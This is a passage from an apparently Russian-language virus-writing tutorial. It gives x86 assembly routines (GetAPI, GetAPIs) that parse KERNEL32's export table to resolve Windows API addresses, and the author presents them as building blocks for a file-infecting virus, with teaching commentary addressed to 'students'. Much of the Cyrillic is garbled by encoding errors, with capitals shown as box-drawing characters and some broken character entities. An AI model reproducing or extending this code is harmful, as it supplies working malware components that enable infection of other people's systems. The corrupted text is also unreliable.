GetAPIs ; --------------------------- ; ; ▌то мои процедуры, необходимые для нахождения всех требуемых функций API... ; ╬ни поделены на 2 части. ╧роцедура GetAPI получает только ту функци , ; котору  мы ей указываем, а GetAPIs ищет все необходимые вирусу функции. GetAPI proc ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╦адно, поехали. ╧араметры, которые требу тся функции и возвращаемые ; ; значения следу щие: ; ; ; ; ═└ ┬╒╬─┼ . ESI : ╙казатель на имя функции (чувствительна к регистру) ; ; ═└ ┬█╒╬─┼ . EAX : └дрес функции API ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; mov edx,esi ; ╤охраняем указатель на им я @_1: cmp byte ptr [esi],0 ; ╩онец строки? jz @_2 ; ─а, все в порядке. inc esi ; ═ет, продолжаем поиск jmp @_1 @_2: inc esi ; хех, не забудьте об этом sub esi,edx ; ESI = размер имени функци и mov ecx,esi ; ECX = ESI :) ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╥ак-так-так, мои дорогие ученики. ▌то очень просто для понимания. ╙ нас ; ; есть указатель на начало имени функции API. ─авайте представим, что мы ; ; ищем FindFirstFileA: ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- указатель здесь ; ; ; ; ╚ нам нужно сохранить этот указатель, чтобы узнать имя функции API, ; ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,; ; например EDX, который мы не будем использовать, а затем повышаем значение; ; указателя в ESI, пока [ESI] не станет равным 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- ╙казатель теперь здеcь ; ; ; ; ╥еперь, вычитая старый указатель от нового указателя, мы получаем размер ; ; имени API-функции, который требуется поисковому движку. ╟атем я сохраня  ; ; значение в ECX, другом регистре, который не будет использоваться для ; ; чего-либо еще. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; ╙станавливаем счетчик в & #48; mov esi,[ebp+kernel] ; ╧олучаем смещение ; PE-заголовка KERNEL32 add esi,3Ch lodsw ; в AX add eax,[ebp+kernel] ; ═ормализуем его mov esi,[eax+78h] ; ╧олучаем RVA таблицы ; экспортов add esi,[ebp+kernel] ; ╙казатель на RVA таблицы ; адресов add esi,1Ch ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╦адно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы ; ; избежать возможных ошибок. ┼сли вы помните, для чего служит смещение 3Ch ; ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. ╠ы ; ; запрашиваем начало смещение начала PE-заголовка KERNEL32. ╥ак как это ; ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. ╥еперь; ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ; ; избегаем нежеланных данных структуры и напряму получаем RVA таблицы ; ; адресов. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; lodsd ; EAX = RVA таблицы адресов add eax,[ebp+kernel] ; ═ормализуем mov dword ptr [ebp+AddressTableVA],eax ; ╤охраняем его в форме VA lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],ea& #120; lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form pop esi ; ESI = Name Ptrz Table VA ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ┼сли вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ; ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ; ; который указывает ESI, в приемник (в данном случае EAX). ╥ак как это был ; ; RVA, мы нормализуем его. ; ; ; ; ─авайте посмотрим, что говорит ╠этт ╧итрек о первом поле: ; ; ; ; "▌то поле является RVA и указывает на массив адресов функций, каждый ; ; элемент которого является RVA одной из экспортируемых функций в данном ; ; модуле." ; ; ; ; ╚ наконец, мы сохраняем его в соответству щей переменной. ─алее мы ; ; должны узнать адрес таблицы указателей на имена. ╠этт ╧итрек объясняет ; ; это следу щим образом: ; ; ; ; "▌то поле - RVA и указывает на массив указателей на строки. ╤троки ; ; явля тся именами экспортируемых данным модулем функций". ; ; ; ; ═о я не сохраня  его в переменной, а помеща  в стек, так как использу  ; ; его очень скоро. ╬к, наконец мы переходим к таблице ординалов, вот что ; ; говорит об этом ╠этт ╧итрек: ; ; ; ; "▌то поле - RVA и оно указывает на массив WORDов. WORD'ы явля тся ; ; ординалами всех экспортируемых функций в данном модуле". ; ; ; ; ╬к, это то, что мы сделали. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 10 8;% equal pop esi ; Restore ESI add esi,4 ; And get next value of arr ay inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╒ех, это не в моем стиле помещать слишком много кода без комментариев, ; ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ; ; для его объяснения. ╤начала мы помещаем ESI в стек (который будет ; ; изменен инструкцией CMPSB) для последу щего восстановления. ╧осле этого ; ; мы получаем DWORD, на который указывает ESI (таблица указателей на ; ; имена) в приемник (EAX). ┬се это выполняется с помощь  инструкции LODSD. ; ; ╠ы нормализуем ее, добавляя адрес базы ядра. ╒орошо, теперь у нас в EAX ; ; находится указатель на имя одной из функций API, но мы еще не знаем, что ; ; это за функция. ═апример EAX может указывать на что-нибудь вроде ; ; "CreateProcessA" и это функция для нашего вируса неинтересна... ╦адно , ; ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ; ; нас есть CMPSB. ╧оэтому мы подготавливаем ее параметры: в ESI мы ; ; помещаем указатель на начало сравниваемого имени функции, а в EDI - ; ; нужно нам имя. ┬ ECX мы помещаем ее размер, а затем выполняем побайтовое ; ; сравнение. ┼сли обе строки совпада т друг с другом, устанавливается ; ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ; ; ┬ противном случае мы восстанавливаем ESI и добавляем к нему размер ; ; DWORD, чтобы получить следу щее значение в таблице указателей на имена. ; ; ╠ы повышаем значение счетчика (╬╫┼═▄ ┬└╞═╬) и продолжаем поиск. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counte r shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = p tr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done . ret ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╧ффф, еще один огромный блок кода и, похоже, не очень понятный, так ; ; ведь? ═е беспокойтесь, я прокомментиру  его ;). ; ; Pop служит для очищения стека. ╟атем мы двигаем в нижн   часть EAX ; ; значение счетчика (так как это WORD) и обнуляет верхн   вышеупомянутого ; ; регистра. ╠ы умножаем его на два, так как массив, в котором мы будем ; ; проводить поиск состоит из WORD'ов. ╥еперь мы добавляем к нему указатель ; ; на начало массива, где мы хотим искать. ╧оэтому мы помещаем EAX в ESI, ; ; чтобы использовать этот указатель для получения значения, на которое он ; ; указывает, с помощь  просто LODSW. ╒ех, теперь у нас есть ординал, но то,; ; что мы хотим получить - это точка входа в код функции API, поэтому мы ; ; умножаем ординал (который содержит позици  точки входа желаемой функции) ; ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ; ; RVA таблицы адресов, поэтому мы производим нормализаци , а теперь в EAX ; ; у нас находится указатель на значение точки входа функции API в таблице ; ; адреосв. ╠ы помещаем EAX в ESO и получаем значение, на которое указывает ; ; EAX. ╥аким образом в этом регистре находится RVA точки входа требуемой ; ; API-функции. ╒ех, сейчас мы должны нормализовать этот адрес относительно ; ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ; ; реальный адрес функции! ;) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetAPI endp ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetAPIs proc ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╬к, это код для получения всех API-функций. ╙ данной функции следу щие ; ; параметры: ; ; ; ; INPUT . ESI : ╙казатель на имя первой желаемой API-функции в формате ; ; ASCIIz ; ; . EDI : ╙казатель на переменну , которая содержит перву  желаему  ; ; API-функци  ; ; OUTPUT . ═ичего ; ; ; ; ─ля получения всех этих значений я буду использовать следу щу  структуру:; ; ; ; ESI указывает на --. db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; ╬тмечает конец массива ; ; ; ; EDI указывает на --. dd 00000000h ; ┴ удущий адрес FFFA ; ; dd 00000000h ; ┴ удущий адрес FNFA ; ; dd 00000000h ; ┴ удущий адрес CH ; ; [...] ; ; ; ; ▀ наде сь, что вы достаточно умны и поняли, о чем я говор . ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖